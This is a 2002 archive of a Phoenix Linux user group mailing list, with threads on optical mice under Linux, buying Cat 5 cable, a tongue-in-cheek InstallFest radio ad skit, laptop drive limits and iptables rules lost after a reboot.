17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > am using two mice, my optical for my Win2K box and my POS intellimouse for > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. Since you already have an optical mouse, I will assume you are not talking about performance. In terms of configuration and setup, it uses the exact same protocols as the Intellimouse (assuming you have the newer ones with a wheel) so that no adjustments are necessary. Well, we will have to reconfigure your /dev/mouse to point to the USB mouse, but that is easy. Anyways, they work great. I have used few MS Optical, a Belkin optical, and a few of the Logitech optical without any problems. As the cliche goes, I'm never going back to a ball mouse again! - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE ulAJqonWPoUt+ZOgyhMyAz0= =JUS+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:50:04 -0700 (PDT) Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Message-ID: On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Matt Alexander : > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Loved it!! From the tone I half expect Tux to be there in his monster truck > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! As you wish: http://plug.netpro.to/radio/monster-truck-version.mp3 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:55:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 18:55:15 -0700 Subject: OT: Laptop Parts In-Reply-To: <3CFAB64B.9B97A826@georgetoft.com> References: <200206022202.SAA22895@hostinworld6.com> <3CFAB64B.9B97A826@georgetoft.com> Message-ID: <200206030159.VAA11411@hostinworld6.com> Thanks but I've already tested that out and researched. My friend has a 4Gb, 6Gb and a 20Gb and the laptop suffers from the age old 8Gb limit. Other than that, the BIOS is fine. Thanks. On 02 Jun 2002 20:20:27 -0400, George Toft wrote: > Something to keep in mind is that some Laptop BIOS' won't let you > change hard drives, or they will limit the size. I've had two > laptops - one allowed two sizes, and the other was flexible. > You might want to research that first. > > George > > > "Bryce C." wrote: > > > > After being on vacation for a week, I have finally returned home to find > > myself reading >700 e-mails. (For those interested, it was divided about > > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > > to play the the laptop I bought on vacation (yes, work is never far) and > > I'm now working on scrounging parts for it. It cost about $90 and the > > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > > it's been used. This is a Dell Latitude XP 4100CX laptop running a > > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > > first, can anyone tell me of a good place for a replacement battery > > cheap. Its has been toasted (memory thing) and it really isn't all that > > useful w/o a battery. I've got a couple bids on eBay but I was hoping > > for something a little more immediate. Second, I'd like a larger HD for > > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > > distro disks to the HD so I can install packages on the road. Can > > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > > possibly their price & size. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:19:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 19:19:09 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023070749.3cfad21deb98e@webmail.freedom2surf.net> Quoting Matt Alexander : > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster > truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted > crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 Great!! LOL!! Should I post a link on /.? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:33:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 02 Jun 2002 19:33:07 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: Message-ID: <3CFAD563.5D6F471E@leml.asu.edu> Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 ummm... huh. Maybe we could get some people together to make a spinnoff paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of the distro's could be a different sigger -- I see it now the battle of the Tux's and M$!!!! ... Gentoo: Pink Tux (after Pink Floyd) ... Debian: Tux Manson (after Marolyn Manson) ... Linux router project: Tuxstien (after Romstien) and yes, you to can nominat your own favorite Tux's for the battle of the distro's vs/ the evil M$ ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Sun, 2 Jun 2002 19:47:03 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> I've used both an MS Optical and a Logitech Optical....They both work great. Go with the Logitech... ----- Original Message ----- From: Voltage Spike To: Sent: Sunday, June 02, 2002 6:43 PM Subject: Re: Optical Mice and Linux > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sunday 02 June 2002 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires > > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > > am using two mice, my optical for my Win2K box and my POS intellimouse for > > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > Since you already have an optical mouse, I will assume you are not talking > about performance. > > In terms of configuration and setup, it uses the exact same protocols as the > Intellimouse (assuming you have the newer ones with a wheel) so that no > adjustments are necessary. Well, we will have to reconfigure your /dev/mouse > to point to the USB mouse, but that is easy. > > Anyways, they work great. I have used few MS Optical, a Belkin optical, and a > few of the Logitech optical without any problems. As the cliche goes, I'm > never going back to a ball mouse again! > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE > ulAJqonWPoUt+ZOgyhMyAz0= > =JUS+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 03:42:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 20:42:51 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > On Sun, 2 Jun 2002, der.hans wrote: > > In the text version, please capitalize Free Software. > > OK, but I don't think the radio listeners will be able to tell. ;-) Yeah, but we want to put the text and the mp3 up on the web site. Actually, we should be putting up an ogg and mp3 if we feel we need to. ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:40:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 2 Jun 2002 21:40:04 -0700 (PDT) Subject: cat 5 cable Message-ID: <20020603044004.47573.qmail@web21205.mail.yahoo.com> does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:45:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 21:45:24 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> Message-ID: <3CFAF464.40501@deru.com> Bob Cober wrote: > ... Go with the Logitech... > I 2nd that. We have three of them here and they have all worked well for a long time - wheels and all. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 02 Jun 2002 21:51:38 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAF5DA.F485739D@qwest.net> Radioshack? robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 02 Jun 2002 22:18:07 -0700 Subject: cat 5 cable In-Reply-To: <20020603044004.47573.qmail@web21205.mail.yahoo.com> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <1023081487.16377.5.camel@localhost.localdomain> Email me - I'm in chandler though. gary AT linuxforce.org On Sun, 2002-06-02 at 21:40, robert jorgenson wrote: > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:33:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 01:33:50 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAFFBE.31D0EC95@georgetoft.com> robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Fry's. Radio Shack in Mesa (by the police department). George From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 22:53:31 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> Message-ID: <3CFB045B.2030007@deru.com> George Toft wrote: > Fry's. Radio Shack in Mesa (by the police department). If you are refering to the big radioshack.com store at Southern and Country Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and here ;-( . Their final day of business was Mar 31, I believe. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 2 Jun 2002 22:54:35 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFAD563.5D6F471E@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> Message-ID: <200206022254.35078.dennisk@sahuaro.f2s.com> On Sunday 02 June 2002 07:33 pm, John (EBo) David wrote: > Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > > > http://plug.netpro.to/radio/ > > > > > > Loved it!! From the tone I half expect Tux to be there in his monster > > > truck steamrolling over discarded Windoze CD's to the cheers of a > > > delighted crowd! > > > > As you wish: > > > > http://plug.netpro.to/radio/monster-truck-version.mp3 > > ummm... huh. Maybe we could get some people together to make a spinnoff > paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of > the distro's could be a different sigger -- I see it now the battle of > the Tux's and M$!!!! > > ... Gentoo: Pink Tux (after Pink Floyd) > ... Debian: Tux Manson (after Marolyn Manson) > ... Linux router project: Tuxstien (after Romstien) > > > and yes, you to can nominat your own favorite Tux's for the battle of > the distro's vs/ the evil M$ ;-) > > EBo -- We take you now live to Caesar's Palace for the Monster Truck Face-Off!! Tonight's match is between the "Gates from Hell X Truck" and the "Roaring Penquin". Now down to the field for our pre-game show. ANNOUNCER: "Matt, how is this grudge match between the Gates truck and the Penquin shaping up?" MATT: "Gates took quite a beating from the Penquin last time out, but tonight the M$ Team has a brand new truck. A lot of money went into this baby, you can be sure of that!" ANS: "Gates has spared no expense on the finish, but it takes more than good looks to beat the Penquin. What is Gates' advantage this time, Matt?" MATT: Well, Gates is being pretty secretive about what's under the hood. It will take more than good looks to beat the Penquin., that's for sure. The reboot in the final seconds of the last round cost Gates dearly." ANS: "That's right, the Penquin sure knows how to get the last ounce of performance from any hardware at hand. Oh, oh, I head a commotion down in the Linux pit. What's going on Matt? MATT: RMS has just walked into the pit and is demanding that the name of the truck be changed!" ANS: Isn't that Linux Torvalds standing off to the side?" MATT: "Yes. Linus, what's your reaction to this confrontation? "It's just a name, I don't care what it is called." ANS: We'll be right back after this public service announcement from the BSA." From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:19:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 3 Jun 2002 05:19:25 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <021401c20af8$e77cd400$42c8a8c0@schnauzer> Home Depot sells it by the foot ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 02, 2002 9:40 PM Subject: cat 5 cable does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:23:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 08:23:03 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> <3CFB045B.2030007@deru.com> Message-ID: <3CFB5FA7.45189E9D@georgetoft.com> Bummer. That was the one I was referring to. They had everything - a bit overpriced, but at least they had it. George Kevin wrote: > > George Toft wrote: > > > Fry's. Radio Shack in Mesa (by the police department). > > If you are refering to the big radioshack.com store at Southern and Country > Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and > here ;-( . Their final day of business was Mar 31, I believe. > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:14:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 09:14:16 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <3CFB6BA8.4C39949@georgetoft.com> They also have some pretty cool terminators, too. George Tom Achtenberg wrote: > > Home Depot sells it by the foot > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:36:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:36:34 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAF5DA.F485739D@qwest.net> Message-ID: <3CFB8D02.4949E5A@earthlink.net> I'd go to Home Depot or Lowe's before the Shack! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:35:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:35:12 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <3CFB8CB0.F0D3EBD9@earthlink.net> I've got a Logitech wireless optical with wheel running under Mandrake 8.1 and I love it. Beats a wire! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:56:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:56:01 -0700 Subject: iptables missing after reboot Message-ID: <3CFB9191.439F15F2@earthlink.net> After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:41:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Mon, 3 Jun 2002 09:41:53 -0400 Subject: cat 5 cable In-Reply-To: <021401c20af8$e77cd400$42c8a8c0@schnauzer> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <200206031633.g53GXbVr013534@mail.infinet-is.com> Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:53:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 09:53:39 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: <00f601c20b1f$3632b620$d701870a@jeffbarker> Ethernet Cable... It's used to connect computers together on a network. :) Or hanging yourself if you're feeling down. ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Monday, June 03, 2002 6:41 AM Subject: Re: cat 5 cable | Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, | and what it is used for? | | Bob eaton | | | On Monday 03 June 2002 08:19 am, you wrote: | > Home Depot sells it by the foot | > | > | > ----- Original Message ----- | > From: "robert jorgenson" | > To: | > Sent: Sunday, June 02, 2002 9:40 PM | > Subject: cat 5 cable | > | > | > does anyone know a place in town to get about 75-100 | > feet of cat 5 cable fairly cheap? or if anyone has a | > spare cable lying around they arent using i would be | > willing to buy it off you :) | > | > __________________________________________________ | > Do You Yahoo!? | > Yahoo! - Official partner of 2002 FIFA World Cup | > http://fifaworldcup.yahoo.com | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | > | > | > --- | > Outgoing mail is certified Virus Free. | > Checked by AVG anti-virus system (http://www.grisoft.com). | > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:01:03 -0700 Subject: cat 5 cable In-Reply-To: <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: Cat 5 cable is what you use to make ethernet cables. Cat 5 supports standard ethernet (10Mbits/sec transfer rate) and fast ethernet (100Mbits/sec transfer rate). Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Robert N. Eaton Sent: Monday, June 03, 2002 6:42 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 09:56:47 -0700 Subject: cat 5 cable In-Reply-To: References: Message-ID: <200206030956.47938.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:15:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 10:15:10 -0700 Subject: cat 5 cable References: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: <3CFBA41E.32C4AE95@qwest.net> That would be Cat5E <-- Enhanced Cat5 can do up to 300MHz vs 100MHz for Cat5. It can be used for GigE, but the range is pretty short, about 1/3 the length that you could do 100Mb Ethernet. > > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > > (100Mbits/sec transfer rate). > > Isn't it also used for gigabit networking? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:28:39 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <1023125319.12825.6.camel@CX868974-C> Using one right now, I am using the USB to PS2 converter that came with it and it works fine. On Sun, 2002-06-02 at 17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier 